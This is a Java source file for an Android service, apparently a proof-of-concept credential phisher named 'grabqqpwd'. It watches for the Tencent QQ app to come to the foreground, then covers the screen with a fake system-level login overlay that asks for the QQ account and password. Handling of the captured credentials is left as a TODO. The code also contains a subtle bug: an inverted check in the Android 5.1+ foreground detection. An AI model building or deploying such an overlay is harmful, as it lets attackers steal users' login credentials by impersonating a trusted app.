package com.android.grabqqpwd;

import android.Manifest;
import android.annotation.TargetApi;
import android.app.ActivityManager;
import android.app.Service;
import android.app.usage.UsageStats;
import android.app.usage.UsageStatsManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.graphics.PixelFormat;
import android.graphics.Rect;
import android.net.Uri;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.provider.Settings;
import android.support.v4.content.ContextCompat;
import android.text.TextUtils;
import android.text.method.HideReturnsTransformationMethod;
import android.text.method.PasswordTransformationMethod;
import android.util.Log;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.MotionEvent;
import android.view.View;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.CompoundButton;
import android.widget.EditText;

import com.jaredrummler.android.processes.ProcessManager;

import java.io.IOException;
import java.lang.reflect.Field;
import java.security.Permission;
import java.util.Date;
import java.util.List;

/**
 * Description: #TODO
 *
 * @author zzp([email protected])
 * @since 2016-01-08
 */
public class BackgroundDetectService extends Service implements View.OnClickListener{
    private static final int REQUEST_CODE = 1;

    WindowManager windowManager;
    RelativeLayoutWithKeyDetect v;
    Button btn_sure;
    Button btn_cancel;

    EditText et_account;
    EditText et_pwd;

    CheckBox cb_showpwd;

    boolean isRunning = true;

    @Override
    public void onCreate() {
        super.onCreate();
        final MyHandler myHandler = new MyHandler();
        new Thread(new Runnable() {
            @Override
            public void run() {
                while (isRunning){
                    L.e("running");
                    try {
                        Thread.sleep(3000);
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }
                    if (isAppForeground("com.tencent.mobileqq")){
                        myHandler.sendEmptyMessage(1);
                    }
                }
            }
        }).start();
    }

    private boolean isAppForeground(String appName){
        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP){
            return appName.equals(getTopActivityBeforeL());
        }else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1){
            return appName.equals(getTopActivityAfterLM());
        }else{
            return appName.equals(getTopActivityBeforeLMAfterL());
        }
    }

    //5.0之前可以使用getRunningAppProcesses()函数获取
    private String getTopActivityBeforeL(){
        ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
        final List<ActivityManager.RunningAppProcessInfo> taskInfo = activityManager.getRunningAppProcesses();
        return taskInfo.get(0).processName;
    }

    //http://stackoverflow.com/questions/24625936/getrunningtasks-doesnt-work-in-android-l
    //processState只能在21版本之后使用
    private String getTopActivityBeforeLMAfterL() {
        final int PROCESS_STATE_TOP = 2;
        Field field = null;
        ActivityManager.RunningAppProcessInfo currentInfo = null;
        try {
            field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState");
        } catch (Exception ignored) {
        }
        ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
        final List<ActivityManager.RunningAppProcessInfo> processInfos = activityManager.getRunningAppProcesses();
        for (ActivityManager.RunningAppProcessInfo processInfo : processInfos) {
            if (processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND
                    && processInfo.importanceReasonCode == ActivityManager.RunningAppProcessInfo.REASON_UNKNOWN) {
                Integer state = null;
                try {
                    state = field.getInt(processInfo);
                } catch (Exception e) {
                }
                if (state != null && state == PROCESS_STATE_TOP) {
                    currentInfo = processInfo;
                    break;
                }
            }
        }
        return currentInfo!=null ? currentInfo.processName : null;
    }

    //注:6.0之后此方法也不太好用了。。。求帮忙
    //http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag
//    private String getTopActivityAfterLM(){
//        ActivityManager.RunningAppProcessInfo topActivity =
//                ProcessManager.getRunningAppProcessInfo(this).get(0);
//        return topActivity.processName;
//    }

    @TargetApi(Build.VERSION_CODES.LOLLIPOP_MR1)
    private String getTopActivityAfterLM() {
        try {
            UsageStatsManager usageStatsManager = (UsageStatsManager) getSystemService(Context.USAGE_STATS_SERVICE);
            long milliSecs = 60 * 1000;
            Date date = new Date();
            List<UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, date.getTime() - milliSecs, date.getTime());
            if (queryUsageStats.size() > 0) {
                return null;
            }
            long recentTime = 0;
            String recentPkg = "";
            for (int i = 0; i < queryUsageStats.size(); i++) {
                UsageStats stats = queryUsageStats.get(i);
                if (stats.getLastTimeStamp() > recentTime) {
                    recentTime = stats.getLastTimeStamp();
                    recentPkg = stats.getPackageName();
                }
            }
            return recentPkg;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return "";
    }

    private class MyHandler extends Handler{
        @Override
        public void handleMessage(Message msg) {
            if (v==null || !v.isAttachedToWindow())
                showWindow();
        }
    }

    private void showWindow(){
        windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
        WindowManager.LayoutParams params = new WindowManager.LayoutParams();
        params.width = WindowManager.LayoutParams.MATCH_PARENT;
        params.height = WindowManager.LayoutParams.MATCH_PARENT;
        params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
        params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
        params.format = PixelFormat.TRANSPARENT;
        params.gravity = Gravity.CENTER;
        params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;

        LayoutInflater inflater = LayoutInflater.from(this);
        v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null);
        v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() {
            @Override
            public void backCallback() {
                if (v!=null && v.isAttachedToWindow())
                    L.e("remove view ");
                    windowManager.removeViewImmediate(v);
            }
        });

        btn_sure = (Button) v.findViewById(R.id.btn_sure);
        btn_cancel = (Button) v.findViewById(R.id.btn_cancel);
        et_account = (EditText) v.findViewById(R.id.et_account);
        et_pwd = (EditText) v.findViewById(R.id.et_pwd);
        cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd);
        cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
            @Override
            public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
                if (isChecked) {
                    et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance());
                } else {
                    et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance());
                }
                et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ?
                        0 : et_pwd.getText().length());
            }
        });

        //useless
//        v.setOnKeyListener(new View.OnKeyListener() {
//            @Override
//            public boolean onKey(View v, int keyCode, KeyEvent event) {
//                Log.e("zhao", keyCode+"");
//                if (keyCode == KeyEvent.KEYCODE_BACK) {
//                    windowManager.removeViewImmediate(v);
//                    return true;
//                }
//                return false;
//            }
//        });


        //点击外部消失
        v.setOnTouchListener(new View.OnTouchListener() {
            @Override
            public boolean onTouch(View view, MotionEvent event) {
                Rect temp = new Rect();
                view.getGlobalVisibleRect(temp);
                L.e("remove view ");
                if (temp.contains((int)(event.getX()), (int)(event.getY()))){
                    windowManager.removeViewImmediate(v);
                    return true;
                }
                return false;
            }
        });

        btn_sure.setOnClickListener(this);
        btn_cancel.setOnClickListener(this);
        L.e("add view ");
        windowManager.addView(v, params);
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        isRunning = false;
        L.e("remove view ");
        if (v!=null && v.hasWindowFocus())
            windowManager.removeView(v);
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onClick(View view) {
        if (view == btn_cancel){
            if (v!=null && v.hasWindowFocus())
                windowManager.removeViewImmediate(v);
        }else{
            if (TextUtils.isEmpty(et_account.getText())){
                et_account.setError("请输入账号");
                return;
            }

            if (TextUtils.isEmpty(et_pwd.getText())){
                et_pwd.setError("请输入密码");
                return;
            }
            //TODO 用户已经输入用户名和密码,做相应处理即可
            L.e("remove view ");
            if (v!=null && v.hasWindowFocus())
                windowManager.removeViewImmediate(v);
        }
    }
}